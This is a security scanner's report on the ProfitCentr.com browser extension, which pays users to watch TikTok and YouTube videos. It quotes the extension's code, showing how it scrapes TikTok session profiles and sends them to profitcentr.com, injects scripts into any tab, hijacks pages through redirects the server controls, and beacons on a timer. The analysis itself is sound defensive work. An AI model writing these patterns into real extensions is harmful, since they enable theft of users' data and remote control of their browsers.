Security Alert: Critical Security Risk
ProfitCentr.com
ID: pibmcnpamlghbbmconmceknbiojmbddl
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- profitcentr.comView Profile
- Privacy
- Privacy Policy
- Help
- Help Center
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
- Website
- Visit
Зарабатывай реальные деньги на выполнение простых заданий от ProfitCentr.com
Расширение profitcentr для заработка на просмотре роликов Тик-тока, Яндекс Дзена, Ютюба, прослушивании Яндекс музыки. Для начала работы: - Установите расширение и авторизуйтесь под своими учётными данными сервиса Profitcentr. Далее вы будете получать через push-уведомления доступные видеоролики для просмотра. За каждый просмотр вы будете получать реальные деньги которые сможете вывести на электронные платёжные системы.
The `loadUsers` function extracts the authenticated TikTok user's full session profile object from the `#__NEXT_DATA__` script tag (`props.initialProps.$user`), which contains private account details, and transmits it to the background service worker via `chrome.runtime.sendMessage`. The commented-out call `//loadUsers()` indicates this was recently active and can be re-enabled server-side via a task payload at any time without an extension update.
var loadUsers = function() { var jsonIn = $('#__NEXT_DATA__') .html(); jsonIn = JSON.parse(jsonIn); jsonIn = jsonIn.props.initialProps.$user; if (jsonIn) { chrome.runtime.sendMessage({ stepUsersBg: JSON.stringify(jsonIn) }); }}//loadUsers();When a task is completed, `endTask` sends `data.processUsers` — the TikTok session profile data previously scraped and stored by the content script — to `https://profitcentr.com/api-expansion/` as the `json_users` field. This completes the exfiltration pipeline: scrape TikTok `$user` object → store in `chrome.storage.local` → transmit to remote server on task completion.
var endTask = function(i_method, vtype) { chrome.storage.local.get(function(data) { let process = data.process; if (typeof process !== 'undefined') { if (data.processStep == '6') { reguestMethod({ method: i_method, type: data.oType, id: data.processId, process: 'end', json_users: data.processUsers, token: data.token }); } } });}The background script injects jQuery and a custom notification script into whatever tab is currently active — covering any website the user is browsing — using `chrome.scripting.executeScript`. Combined with the `*://*/*` host permission and `scripting` permission, this gives the extension unrestricted JavaScript execution context in every page the user visits, which can be leveraged to read page content, intercept forms, or exfiltrate data from any origin.
var loadNotification = async function(tabId, type = 'script', code = []) { if (tabId == null) { tabId = await getTabID(); } if (type == 'script') { return Promise.all([ new Promise(function(resolve, reject) { chrome.scripting.executeScript({ target: { tabId: tabId }, files: ["./js/jquery.min.js", "./js/content/notification.js"] }, (result) => { if (!chrome.runtime.lastError) { resolve() } else { reject() } }); }), new Promise(function(resolve, reject) { chrome.scripting.insertCSS({ target: { tabId: tabId }, files: ["./css/content/notification.css"] }, (result) => {The `loadJSTask` function dynamically injects one of four different content-script files (TikTok.js, Youtube.js, YaZend.js, YaMusic.js) into the current active tab based on a server-controlled `vType` value. Because `loadFile` is determined by data returned from the remote API (`go_task` response), the remote server can effectively control which code runs on any tab the user has open.
var loadJSTask = async function(tabId, loadFile = []) { if (tabId == null) { tabId = await getTabID(); } return Promise.all([ new Promise(function(resolve, reject) { chrome.scripting.executeScript({ target: { tabId: tabId }, files: loadFile }, (result) => { if (!chrome.runtime.lastError) { resolve() } else { reject() } }); }), new Promise(function(resolve, reject) { chrome.scripting.insertCSS({ target: { tabId: tabId }, files: ["./css/content/task.css"] },The `loadRedir` function completely destroys the entire DOM of whatever page the user has open (`$('body').html('')`), replaces it with a crafted anchor element pointing to a server-supplied URL (`inUrl` from the API response), then programmatically clicks it to force navigation. This constitutes full page hijacking driven by a remotely controlled URL, and can redirect users to any destination the server specifies.
var loadRedir = function() { $('body') .html(''); $('body') .html('<a class="ytp-videowall-still ytp-suggestion-set" id="click_new" target="" aria-label="" href="' + inUrl + '" data-is-live="false" data-is-list="false" data-is-mix="false">video</a>'); $('#click_new')[0].click(); stepProcess(10);}The extension establishes two persistent alarms that fire every 1 minute and every 5 minutes, each POST-ing the user's authentication token to `https://profitcentr.com/api-expansion/`. This creates a continuously active C2-style channel where the remote server can push task assignments (`go_task` method) that trigger DOM manipulation and script injection in the user's active tabs without any further user interaction.
var reloadData = function() { if (!chrome.alarms.onAlarm.hasListener(loadData)) { chrome.alarms.onAlarm.addListener(loadData); } chrome.alarms.get('reloadData', function(alarm) { if (!alarm) { chrome.alarms.create('reloadData', { when: Date.now() + 1 * 60000, periodInMinutes: 1 }); } }); chrome.alarms.get('reloadInfa', function(alarm) { if (!alarm) { chrome.alarms.create('reloadInfa', { when: Date.now() + 5 * 60000, periodInMinutes: 5 }); } });}reloadData();The central `reguestMethod` function sends all data (user tokens, task IDs, scraped user data, abuse reports) to a single remote endpoint `https://profitcentr.com/api-expansion/` and processes server responses that can trigger `loadTask` (open new tabs, navigate existing ones) or `resultTask` (handle task completion with balance updates). The server can instruct the extension to open or redirect browser tabs by returning a `go_task` response with any URL, giving the operator persistent remote tab-control capability.
var reguestMethod = function(params = {}) { fetch(apiUrl, { method: 'POST', headers: { "Content-type": "application/json; charset=UTF-8" }, body: JSON.stringify(params) }) .then(function(response) { ... if (d.method == 'go_task') { d['up'] = params.up_tab; loadTask(d); } if (d.method == 'end_task') { resultTask(d); }The `loadTask` function opens new browser tabs or redirects existing tabs to server-supplied URLs (`data.url`, `data.url_start`) received from `https://profitcentr.com/api-expansion/`. This gives the remote server the ability to navigate any of the user's browser tabs to arbitrary URLs, enabling phishing page delivery, ad fraud, forced visits to monetised pages, or redirection to malware distribution sites.
var loadTask = function(data) { chrome.storage.local.get(['token', 'processTab', 'vType'], function(d) { let token_new = d.token; if (typeof token_new !== 'undefined') { clearTask(); chrome.storage.local.set({ process: 'go', processId: data.id, processTimer: data.timer, processStep: 0, processUrl: data.url, }, function() { ... if (up) { chrome.tabs.update(d.processTab.id, { url: data.url_start, active: true }, } else { chrome.tabs.create({ url: data.url_start },The login form submits the user's plaintext password to `https://profitcentr.com/api-expansion/` via `reguestMethod`. Additionally, lines 15-18 persist the username to `chrome.storage.local` as `login_save` on every keystroke, meaning credentials are stored locally before the form is submitted. While this is technically authenticating to the extension's own service, it normalizes credential handling through the extension's own remote endpoint rather than a standard OAuth flow.
$('#loginForm') .submit(function() { var errorInp = false; if (passInp.val() == '') { errorInp = errorText['pass']; } if (nameInp.val() == '') { errorInp = errorText['login']; } if (errorInp) { errorOut(errorInp); } else { reguestMethod({ method: 'login', login: nameInp.val(), password: nameInp.val() }); } return false; });By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 3.0.4 | 9 |
Files with findings
4 distinct paths — top paths by unique finding count:
- js/background/background.js6
- js/content/TikTok.js1
- js/content/Youtube.js1
- js/popups/login.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.